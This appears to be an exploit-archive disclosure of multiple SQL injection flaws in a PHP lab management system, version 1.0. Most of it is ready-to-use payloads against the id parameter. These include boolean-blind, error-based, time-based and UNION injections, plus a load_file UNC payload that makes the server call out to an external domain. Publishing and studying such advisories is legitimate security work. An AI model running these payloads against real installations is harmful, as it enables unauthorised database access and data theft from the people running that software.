LMS PHP 1.0 SQL Injection

`## Title: LMS-PHP-byoretnom23-v1.0 Multiple-SQLi  
## Author: nu11secur1ty  
## Date: 03/28/2024  
## Vendor: https://github.com/oretnom23  
## Software: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#comment-104400  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The id parameter appears to be vulnerable to SQL injection attacks.  
The payload '+(select  
load_file('\\\\95ctkydmc3d4ykhxxtph7p6xgomiagy71vsij68.tupgus.com\\mpk'))+'  
was submitted in the id parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain. The application  
interacted with that domain, indicating that the injected SQL query  
was executed. The attacker can get all information from the system by  
using this vulnerability!  
  
STATUS: HIGH- Vulnerability  
  
[+]Payload:  
```mysql  
---  
Parameter: id (GET)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY  
or GROUP BY clause  
Payload: page=user/manage_user&id=7''' RLIKE (SELECT (CASE WHEN  
(2375=2375) THEN 0x372727 ELSE 0x28 END)) AND 'fkKl'='fkKl  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: page=user/manage_user&id=7''' AND (SELECT 1734  
FROM(SELECT COUNT(*),CONCAT(0x716a707071,(SELECT  
(ELT(1734=1734,1))),0x71717a7871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CYrv'='CYrv  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: page=user/manage_user&id=7''' AND (SELECT 6760 FROM  
(SELECT(SLEEP(7)))iMBe) AND 'xzwU'='xzwU  
  
Type: UNION query  
Title: MySQL UNION query (NULL) - 11 columns  
Payload: page=user/manage_user&id=-2854' UNION ALL SELECT  
NULL,NULL,NULL,NULL,CONCAT(0x716a707071,0x6675797766656155594373736b724a5a6875526f6f65684562486c48664e4d624f75766b4a444b43,0x71717a7871),NULL,NULL,NULL,NULL,NULL,NULL#  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/LMS-PHP-byoretnom23-v1.0)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2024/03/lms-php-byoretnom23-v10-multiple-sqli.html)  
  
## Time spent:  
01:15:00  
  
  
`